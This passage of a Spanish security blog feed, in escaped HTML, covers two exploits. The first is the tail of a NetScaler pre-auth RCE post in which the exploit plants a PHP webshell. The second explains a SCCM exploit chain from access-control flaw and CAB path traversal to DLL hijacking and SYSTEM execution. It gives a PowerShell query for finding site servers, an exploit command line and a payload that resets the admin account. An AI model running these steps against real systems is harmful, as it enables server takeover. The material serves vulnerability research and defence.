data-state=&quot;closed&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;PDq2pG_selectionAnchor&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;
&lt;/p&gt;&lt;p data-end=&quot;1353&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;683&quot;&gt;A partir de ahí, el exploit redirige el flujo mediante un &lt;strong data-end=&quot;816&quot; data-start=&quot;741&quot;&gt;&lt;code data-end=&quot;752&quot; data-start=&quot;743&quot;&gt;jmp rax&lt;/code&gt; hacia un shellcode fragmentado dentro del propio &lt;code data-end=&quot;814&quot; data-is-only-node=&quot;&quot; data-start=&quot;802&quot;&gt;PrefixList&lt;/code&gt;&lt;/strong&gt;: &lt;code data-end=&quot;828&quot; data-start=&quot;818&quot;&gt;lay_sc()&lt;/code&gt; divide el shellcode en instrucciones y las distribuye por los huecos disponibles, conectándolos mediante &lt;code data-end=&quot;939&quot; data-start=&quot;934&quot;&gt;JMP&lt;/code&gt; cortos. El shellcode modifica el tratamiento de varias señales para evitar que la recuperación del proceso interrumpa la explotación y después crea &lt;code data-end=&quot;1110&quot; data-start=&quot;1088&quot;&gt;/var/vpn/theme/x.php&lt;/code&gt;, escribe un pequeño webshell PHP y lo deja disponible para ejecutar comandos mediante HTTP. Finalmente, el script espera a que NetScaler vuelva a responder y comprueba el resultado accediendo al webshell.&lt;/p&gt;&lt;p data-end=&quot;1353&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;683&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdzzdG5OJ6INYTdQxvwzvwgf6vOlcdC1IBhyphenhyphenRGG8NFd282ojSiGFfTl5iMvty5iqZ14gMyCSUAd1YLBfqqxz4hqiHhMSatygDrUYeypkx4VJa4OrLOSjrdi4sYDh3xICtOHsibFxKNTxwJ4zhh5VUfYwV7AnGwUJgh0vst91Uim8PJJJgDXDixJkoXGhQ7/s1396/watchTowr_exploit.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1087&quot; data-original-width=&quot;1396&quot; height=&quot;498&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdzzdG5OJ6INYTdQxvwzvwgf6vOlcdC1IBhyphenhyphenRGG8NFd282ojSiGFfTl5iMvty5iqZ14gMyCSUAd1YLBfqqxz4hqiHhMSatygDrUYeypkx4VJa4OrLOSjrdi4sYDh3xICtOHsibFxKNTxwJ4zhh5VUfYwV7AnGwUJgh0vst91Uim8PJJJgDXDixJkoXGhQ7/w640-h498/watchTowr_exploit.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com/youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452/?utm_source=chatgpt.com&quot;&gt;watchTowr Labs — investigación sobre CVE-2026-8452&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452?utm_source=chatgpt.com&quot;&gt;Repositorio de watchTowr — CVE-2026-8452&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://support.citrix.com/external/article/CTX696604/netscaler-adc-and-netscaler-gateway-secu.html?utm_source=chatgpt.com&quot;&gt;Citrix Security Bulletin — CTX696604&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-8452?utm_source=chatgpt.com&quot;&gt;NVD — CVE-2026-8452&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/7212150623638561162/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/08/cve-2026-8452-diseccionando-el-rce-preauth.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7212150623638561162'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7212150623638561162'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/08/cve-2026-8452-diseccionando-el-rce-preauth.html' title='CVE-2026-8452: diseccionando el Pre-Auth RCE de NetScaler que convirtió un heap overflow en un write-what-where'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirx0NEdNii0Fy0nluBo6R1tCEldsNth16v6OjRBAD9OsEeGa2CsO1aAx5wqTC2q_QaJ9rw-JYRhArZMAFDLqvQSVuJZurvZZnU9bC5OBeZmRj85spAM-3Yfx9EzUfFsZymkW9vvU4b49D72FYGuV5AdM1pgOGiFKmS_U-uiP3TuLs8-Kd2bTH__JNBlsCq/s72-c/01_saml_heap_overflow_blanco.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2238681757949322258</id><published>2026-08-16T23:02:34.833+02:00</published><updated>2026-08-16T23:17:04.444+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploits"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><category scheme="http://www.blogger.com/atom/ns#" term="sccm"/><category scheme="http://www.blogger.com/atom/ns#" term="técnicas"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>CVE-2026-47301: de una simple elevación de privilegios en SCCM a ejecución como SYSTEM</title><content type='html'>&lt;p&gt;Hay vulnerabilidades que, vistas únicamente desde la descripción del CVE, parecen bastante menos interesantes de lo que realmente son.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es el caso de &lt;strong&gt;CVE-2026-47301&lt;/strong&gt;, una vulnerabilidad de &lt;em&gt;improper access control&lt;/em&gt; en Microsoft Configuration Manager, el producto que muchos seguimos llamando por su antiguo nombre: &lt;strong&gt;SCCM&lt;/strong&gt;. Microsoft la publicó el 14 de julio de 2026 con una puntuación &lt;strong&gt;CVSS 3.1 de 8.8&lt;/strong&gt;, describiéndola como una elevación de privilegios que puede ser explotada por un atacante autorizado a través de la red.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hasta aquí, nada especialmente revolucionario. El problema aparece cuando alguien se pone a mirar qué hay realmente detrás de ese &quot;elevation of privilege&quot;. Y eso es precisamente lo interesante del trabajo publicado por &lt;strong&gt;Omri Baso&lt;/strong&gt;, que ha desarrollado un PoC que encadena varios fallos de seguridad hasta convertir la vulnerabilidad en algo bastante más serio: &lt;strong&gt;ejecución de código con privilegios SYSTEM en el servidor primario de SCCM&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;** Antes de entrar en materia conviene hacer una distinción.&amp;nbsp;&lt;strong&gt;CVE-2026-47301 no está catalogada por Microsoft como una Remote Code Execution.&lt;/strong&gt; La descripción oficial habla de una vulnerabilidad de control de acceso que permite a un atacante autorizado elevar privilegios sobre la red. Su vector CVSS es: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es decir: explotación remota, baja complejidad, privilegios bajos y sin interacción del usuario, con impacto alto en confidencialidad, integridad y disponibilidad.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero una cosa es la clasificación del CVE y otra muy distinta lo que puede construirse alrededor de él.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El PoC publicado en GitHub demuestra precisamente esto: &lt;strong&gt;la primitiva proporcionada por la vulnerabilidad puede encadenarse con otras debilidades de Configuration Manager para terminar ejecutando código en el contexto de &lt;/strong&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;strong&gt;SYSTEM&lt;/strong&gt;&lt;/code&gt;.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;SCCM: un objetivo especialmente interesante&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF84J8rzKCMlXK1tonpjwCfghT1rUTK1_AABFXKBOY8gSFtDVsaQxjz8nED12qar9Ak5OfXMuErH0QJ57MKzlMMzf5jRea0I14jEXMMw6YzOeMiwDg_mGcrn3wT4chmPML2-XTE4S14dQB4SSomaPK8nrZcOIvk6-Xt2v5KzaOfkEzfAXrKBcJczZA1vCL/s600/SCCM%20(System%20Center%20Configuration%20Manager).png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;385&quot; data-original-width=&quot;600&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF84J8rzKCMlXK1tonpjwCfghT1rUTK1_AABFXKBOY8gSFtDVsaQxjz8nED12qar9Ak5OfXMuErH0QJ57MKzlMMzf5jRea0I14jEXMMw6YzOeMiwDg_mGcrn3wT4chmPML2-XTE4S14dQB4SSomaPK8nrZcOIvk6-Xt2v5KzaOfkEzfAXrKBcJczZA1vCL/s320/SCCM%20(System%20Center%20Configuration%20Manager).png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Configuration Manager es una pieza de infraestructura especialmente atractiva desde el punto de vista ofensivo.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En una organización grande puede tener acceso privilegiado a prácticamente todos los endpoints gestionados. El servidor primario, los Management Points, Distribution Points y demás componentes forman una infraestructura con una relación de confianza muy potente respecto a los equipos administrados.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso comprometer el &lt;strong&gt;Primary Site Server&lt;/strong&gt; no es simplemente comprometer &quot;otro Windows Server&quot;. Es conseguir una posición desde la que potencialmente se puede influir sobre una infraestructura diseñada precisamente para administrar cientos o miles de máquinas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y ahí está una de las razones por las que este CVE merece más atención de la que podría sugerir inicialmente su etiqueta de EoP.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;1. El punto de entrada: AdminService&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Uno de los elementos centrales del PoC es &lt;strong&gt;AdminService&lt;/strong&gt;, una API de Configuration Manager.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El código del exploit interactúa con endpoints relacionados con la subida de extensiones de consola, concretamente operaciones como &lt;code dir=&quot;ltr&quot;&gt;UploadExtensionInChunks&lt;/code&gt; y &lt;code dir=&quot;ltr&quot;&gt;UploadExtension&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante es que el PoC diferencia dos caminos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Uno de ellos requiere el control de acceso basado en RBAC, mientras que el investigador identifica una ruta de subida en chunks que puede utilizarse sin ese mismo requisito de RBAC.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En otras palabras, el problema no es simplemente &quot;existe un endpoint&quot;. El problema es &lt;strong&gt;qué garantías de autorización se aplican realmente a cada camino que termina procesando el mismo tipo de contenido&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Este es un patrón que aparece constantemente en aplicaciones empresariales complejas: una función está correctamente protegida, pero existe otra ruta que termina llegando al mismo código con unas comprobaciones diferentes. Para un atacante, esas diferencias son oro.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;2. El CAB como primitiva de escritura&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La segunda pieza es especialmente interesante. El mecanismo acepta un archivo CAB que posteriormente es procesado por Configuration Manager.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El problema aparece cuando el nombre o la ruta de los archivos contenidos en ese CAB pueden utilizarse para escapar del directorio previsto durante la extracción.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En términos conceptuales:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Directorio esperado
        │
        ▼
  extracción CAB
        │
        ├── archivo legítimo
        │
        └── ../.. / ../.. / archivo controlado
                              │
                              ▼
                       ubicación inesperada&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Eso convierte una funcionalidad aparentemente inocua —subir una extensión— en una &lt;strong&gt;primitiva de escritura arbitraria de archivos&lt;/strong&gt;.&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1294&quot; data-start=&quot;1038&quot;&gt;A partir de aquí podemos utilizar esa primitiva para colocar las DLL necesarias para la siguiente fase de la cadena. La PoC incluye además &lt;code data-end=&quot;1194&quot; data-start=&quot;1177&quot;&gt;evil_RID500.cab&lt;/code&gt;, un payload específicamente preparado para demostrar el impacto posterior a la ejecución de código.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;3. De escribir un archivo a ejecutar código&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí entra el clásico, pero todavía extremadamente efectivo, &lt;strong&gt;DLL hijacking&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El PoC utiliza una pareja de DLLs relacionada con &lt;code dir=&quot;ltr&quot;&gt;adsource&lt;/code&gt;: adsource.dll y&amp;nbsp;&lt;code dir=&quot;ltr&quot;&gt;adsource_original.dll&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La segunda actúa como proxy para permitir que la DLL maliciosa intercepte la carga sin provocar el fallo del proceso original. El propio autor explica que esta técnica permite mantener operativo el servicio &lt;code dir=&quot;ltr&quot;&gt;SMS_EXECUTIVE&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto es importante porque un DLL hijacking útil en un servidor no consiste simplemente en conseguir que Windows cargue &quot;mi DLL&quot;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay que conseguir que:&lt;/p&gt;&lt;ol data-spread=&quot;false&quot; start=&quot;1&quot;&gt;&lt;li&gt;el proceso privilegiado encuentre nuestra DLL;&lt;/li&gt;&lt;li&gt;la cargue;&lt;/li&gt;&lt;li&gt;el proceso continúe funcionando;&lt;/li&gt;&lt;li&gt;y nuestro código se ejecute dentro de ese contexto.&lt;/li&gt;&lt;/ol&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En este caso, el contexto buscado es &lt;strong&gt;SYSTEM&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y es aquí donde una simple vulnerabilidad de EoP empieza a parecerse bastante más a una RCE desde la perspectiva de un atacante.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;4. Encontrar el Primary Site Server&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay otro detalle interesante desde el punto de vista de Red Team. El PoC no depende de conocer previamente una ruta de instalación concreta de SCCM. El propio investigador indica que la técnica funciona independientemente de dónde esté instalado Configuration Manager, utilizando rutas relativas para alcanzar el directorio correspondiente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El problema que queda es localizar el &lt;strong&gt;Primary Site Server&lt;/strong&gt;. Y aquí entra Active Directory.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El repositorio explica que el nombre del servidor no tiene por qué estar publicado directamente en AD, pero que puede inferirse examinando los permisos sobre:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CN=System Management,CN=System&lt;/code&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La idea es buscar cuentas de máquina con permisos elevados sobre ese contenedor y utilizar esa información para identificar los servidores de sitio.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La PoC propone utilizar PowerShell para consultar las identidades que disponen de permisos &lt;code dir=&quot;ltr&quot;&gt;GenericAll&lt;/code&gt; o &lt;code dir=&quot;ltr&quot;&gt;FullControl&lt;/code&gt; sobre dicho contenedor:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;$root = &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[ADSI]&lt;/span&gt;&quot;LDAP://RootDSE&quot;
$configDN = &quot;CN=System Management,CN=System,&quot; + $root.defaultNamingContext
$container = &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[ADSI]&lt;/span&gt;&quot;LDAP://$configDN&quot;

$container.ObjectSecurity.Access |
    Where-Object { $_.ActiveDirectoryRights -match &quot;GenericAll|FullControl&quot; } |
    Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType |
    Format-Table -AutoSize&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El resultado muestra las entidades que tienen esos permisos sobre el contenedor. Según el autor, las identidades que terminan en &lt;code dir=&quot;ltr&quot;&gt;$&lt;/code&gt; corresponden normalmente a &lt;strong&gt;cuentas de máquina de los Site Servers&lt;/strong&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhupHfI57x09hsiKwhZBf5lxKSHEtXxouk3AOWIDFOcU8D2sAmnCqD0961162YA6ud2YzF23Y3ds-mIb8if_CpyVzdDgyh0CVpxjq-aBtSgADb0Mz9a-5ug8WgBLbKYlBFESyCxpIfiv0W962NIue5oKrF70w1cW8xILh8LbAdbRIYFaXmsCWcnxoKUH8qW/s1184/genericall_primarysites.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;335&quot; data-original-width=&quot;1184&quot; height=&quot;182&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhupHfI57x09hsiKwhZBf5lxKSHEtXxouk3AOWIDFOcU8D2sAmnCqD0961162YA6ud2YzF23Y3ds-mIb8if_CpyVzdDgyh0CVpxjq-aBtSgADb0Mz9a-5ug8WgBLbKYlBFESyCxpIfiv0W962NIue5oKrF70w1cW8xILh8LbAdbRIYFaXmsCWcnxoKUH8qW/w640-h182/genericall_primarysites.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es un detalle pequeño, pero bastante interesante desde la perspectiva de Red Team: no estamos descubriendo SCCM mediante un atributo explícito, sino &lt;strong&gt;deduciendo la infraestructura a partir de los permisos que Configuration Manager ha establecido en Active Directory&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Una vez tenemos el hostname del Primary Site Server, podemos ejecutar el exploit:&lt;/p&gt;&lt;div class=&quot;markdown-heading&quot; dir=&quot;auto&quot; style=&quot;background-color: white; box-sizing: border-box; color: #1f2328; font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans Backtick Fix&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; position: relative;&quot;&gt;&lt;a aria-label=&quot;Permalink: Execute The Exploit&quot; class=&quot;anchor&quot; href=&quot;https://github.com/OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit#execute-the-exploit&quot; id=&quot;user-content-execute-the-exploit&quot; style=&quot;align-items: center; background-color: rgba(0, 0, 0, 0); border-radius: 6px; box-sizing: border-box; color: #0969da; display: flex; float: left; height: 28px; justify-content: center; left: -28px; line-height: 1; margin: auto; opacity: 0; padding-right: 4px; position: absolute; text-underline-offset: 0.2rem; top: 12.5px; transform: translateY(-50%); width: 28px;&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; class=&quot;octicon octicon-link&quot; data-component=&quot;Octicon&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewbox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path d=&quot;m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;snippet-clipboard-content notranslate position-relative overflow-auto&quot; style=&quot;background-color: #f6f8fa; box-sizing: border-box; color: #1f2328; display: flex; font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans Backtick Fix&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto; position: relative;&quot;&gt;&lt;pre class=&quot;notranslate&quot; style=&quot;border-radius: 6px; box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px; tab-size: 4;&quot;&gt;&lt;code style=&quot;background: 0px 0px rgba(0, 0, 0, 0); border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; tab-size: 4; word-break: normal;&quot;&gt;.\C1_AFW.exe write SCCM-CM01.basoss.local &#39;pwn.cab&#39; .\evil.cab  --verbose&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3&gt;&lt;code data-end=&quot;799&quot; data-start=&quot;782&quot;&gt;evil_RID500.cab&lt;/code&gt;: demostrando el impacto&lt;/h3&gt;&lt;h2&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;376&quot; data-start=&quot;0&quot; style=&quot;font-size: medium; font-weight: 400;&quot;&gt;El .cab que incluye el repo&amp;nbsp;&lt;strong data-end=&quot;84&quot; data-start=&quot;11&quot;&gt;habilita la cuenta de Administrador con RID 500 si está deshabilitada&lt;/strong&gt;, la renombra como&amp;nbsp;&lt;code data-end=&quot;112&quot; data-start=&quot;103&quot;&gt;omrispy&lt;/code&gt;&amp;nbsp;y establece la contraseña&amp;nbsp;&lt;code data-end=&quot;161&quot; data-start=&quot;139&quot;&gt;Xm#Poc-2026!Adm1n$Ok&lt;/code&gt;. Además, registra los cambios realizados por el exploit y el nombre que tenía anteriormente la cuenta de Administrador con RID 500, de modo que sea posible revertir todos los cambios y dejar el sistema como estaba.&lt;span aria-hidden=&quot;true&quot; class=&quot;PDq2pG_selectionAnchor&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p data-end=&quot;455&quot; data-start=&quot;378&quot; style=&quot;font-size: medium; font-weight: 400;&quot;&gt;Los registros se guardan en&amp;nbsp;&lt;code data-end=&quot;418&quot; data-start=&quot;406&quot;&gt;C:\POC.txt&lt;/code&gt;, en el Primary Site Server afectado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot; style=&quot;font-size: medium; font-weight: 400;&quot;&gt;&lt;/p&gt;&lt;p data-end=&quot;684&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;457&quot; style=&quot;font-size: medium; font-weight: 400;&quot;&gt;La carga de la DLL se produce cada&amp;nbsp;&lt;strong data-end=&quot;505&quot; data-start=&quot;492&quot;&gt;5 minutos&lt;/strong&gt;, por lo que puede existir cierto retraso entre la ejecución del exploit y el momento en que se observan sus efectos. Este comportamiento fue observado utilizando&amp;nbsp;&lt;code data-end=&quot;683&quot; data-start=&quot;668&quot;&gt;Procmon64.exe&lt;/code&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-size: medium; font-weight: 400; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv_hJLO8d83Z0ulsOU5fCi8sk3D5OMj0reTcJxXR0QPXEp8QgA_M3uNn8_H-TFyI4PMx15qz8EJxpK39zAng-WqPdIf96U2yAlZvT3kymnxySwht3cOkNP9aFNm0yF5Sp3wvhnjPof-hrLTrfLj36z6M8IVhTz72xiSkgucMfH37KkspmLPf6SzW-WgJCE/s1179/procmon_output.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;296&quot; data-original-width=&quot;1179&quot; height=&quot;160&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv_hJLO8d83Z0ulsOU5fCi8sk3D5OMj0reTcJxXR0QPXEp8QgA_M3uNn8_H-TFyI4PMx15qz8EJxpK39zAng-WqPdIf96U2yAlZvT3kymnxySwht3cOkNP9aFNm0yF5Sp3wvhnjPof-hrLTrfLj36z6M8IVhTz72xiSkgucMfH37KkspmLPf6SzW-WgJCE/w640-h160/procmon_output.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/h2&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;La cadena completa&lt;/h2&gt;&lt;p style=&quot;text-align: left;&quot;&gt;El trabajo de Baso resulta interesante porque no depende de una única vulnerabilidad mágica. La cadena combina varias piezas:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Broken access control → subida de CAB → path traversal → escritura arbitraria → DLL hijacking → SYSTEM&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es decir, el CVE proporciona una primitiva inicial que posteriormente puede combinarse con el comportamiento de varios componentes de Configuration Manager.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El repositorio lo describe explícitamente como una cadena que combina:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;acceso incorrectamente protegido;&lt;/li&gt;&lt;li&gt;extracción de archivos CAB con posibilidad de&amp;nbsp;&lt;em&gt;path traversal&lt;/em&gt;;&lt;/li&gt;&lt;li&gt;escritura arbitraria de archivos;&lt;/li&gt;&lt;li&gt;DLL hijacking;&lt;/li&gt;&lt;li&gt;y finalmente ejecución como SYSTEM.&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto es precisamente el tipo de explotación que muchas veces se pierde cuando miramos únicamente el número CVE.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Podemos resumir conceptualmente el ataque de esta manera:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a 